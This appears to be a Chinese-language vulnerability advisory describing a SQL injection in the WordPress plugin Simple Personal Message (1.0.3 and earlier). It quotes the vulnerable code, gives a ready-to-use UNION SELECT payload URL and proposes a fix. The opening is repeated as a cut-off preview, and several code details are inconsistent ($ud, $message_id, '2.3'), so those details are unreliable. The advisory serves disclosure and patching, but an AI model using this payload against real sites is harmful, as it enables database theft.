#### Author:sebao(知道创宇404安全实验室) #### Date:2016-12-06 ## 1.漏洞简介 ## [Simple Personal Message](https://wordpress.org/plugins/simple-personal-message/) 是为WordPress网站专门打造的隐私和安全的信息系统。采用Ajax 操作、可以基于群组的多用户之间的站内信息通信的插件. ## 2.漏洞影响 ## ### wordpress version### 3.5 or higher ### Simple Personal Message version ### 1.0.3 or older ## 3.漏洞复现## ### 环境搭建### 在wordpress后台,安装插件页面,搜索Simple Personal Message,即可安装最新版 1.0.3 版本插件。 安装完插件,在已安装的插件列表里,启用此插件即可。 ### 漏洞分析### 漏洞文件代码位于 `/wp-content/plugins/simple-personal-message/admin/partials/simple-personal-message-admin-view.php` 中 ``` <?php global $wpdb; $table = $wpdb->prefix . 'spm_message'; $id = esc_attr($_GET['message']); $message = $wpdb->get_results("SELECT * FROM $table WHERE id = $ud"); $user = get_user_by('login', $message[0]->sender); ?> ``` 我们看到 id变量的获取是 从`esc_attr($_GET['message'])`获取到的。跟踪一下 `esc_attr`函数,函数在`/wp-includes/formatting.php`文件的 3932行 ``` function esc_attr( $text ) { $safe_text = wp_check_invalid_utf8( $text ); $safe_text =...
#### Author:sebao(知道创宇404安全实验室) #### Date:2016-12-06 ## 1.漏洞简介 ## [Simple Personal Message](https://wordpress.org/plugins/simple-personal-message/) 是为WordPress网站专门打造的隐私和安全的信息系统。采用Ajax 操作、可以基于群组的多用户之间的站内信息通信的插件. ## 2.漏洞影响 ## ### wordpress version### 3.5 or higher ### Simple Personal Message version ### 1.0.3 or older ## 3.漏洞复现## ### 环境搭建### 在wordpress后台,安装插件页面,搜索Simple Personal Message,即可安装最新版 1.0.3 版本插件。 安装完插件,在已安装的插件列表里,启用此插件即可。 ### 漏洞分析### 漏洞文件代码位于 `/wp-content/plugins/simple-personal-message/admin/partials/simple-personal-message-admin-view.php` 中 ``` <?php global $wpdb; $table = $wpdb->prefix . 'spm_message'; $id = esc_attr($_GET['message']); $message = $wpdb->get_results("SELECT * FROM $table WHERE id = $ud"); $user = get_user_by('login', $message[0]->sender); ?> ``` 我们看到 id变量的获取是 从`esc_attr($_GET['message'])`获取到的。跟踪一下 `esc_attr`函数,函数在`/wp-includes/formatting.php`文件的 3932行 ``` function esc_attr( $text ) { $safe_text = wp_check_invalid_utf8( $text ); $safe_text = _wp_specialchars( $safe_text, ENT_QUOTES ); /** * Filters a string cleaned and escaped for output in an HTML attribute. * * Text passed to esc_attr() is stripped of invalid or special characters * before output. * * @since 2.0.6 * * @param string $safe_text The text after it has been escaped. * @param string $text The text prior to being escaped. */ return apply_filters( 'attribute_escape', $safe_text, $text ); ``` 从这里我们能发现`esc_attr`函数是 防xss过滤函数,漏洞文件没有对sql 进行过滤导致造成sql注入。 ### 漏洞利用### payload: ``` http://target/wp-admin/admin.php?page=simple-personal-message-outbox&action=view&message=0%20UNION%20SELECT%201,2.3,user(),5,version(),7,8,9,10,11,12 ```  ## 4.修复方案## 在`/wp-content/plugins/simple-personal-message/admin/partials/simple-personal-message-admin-view.php`文件,第26行添加sql过滤函数`esc_sql` 修复前: `$message = $wpdb->get_results("SELECT * FROM $table WHERE id = $id");` 修复后: `$message = $wpdb->get_results("SELECT * FROM $table WHERE id = '" . esc_sql($message_id) . "'");`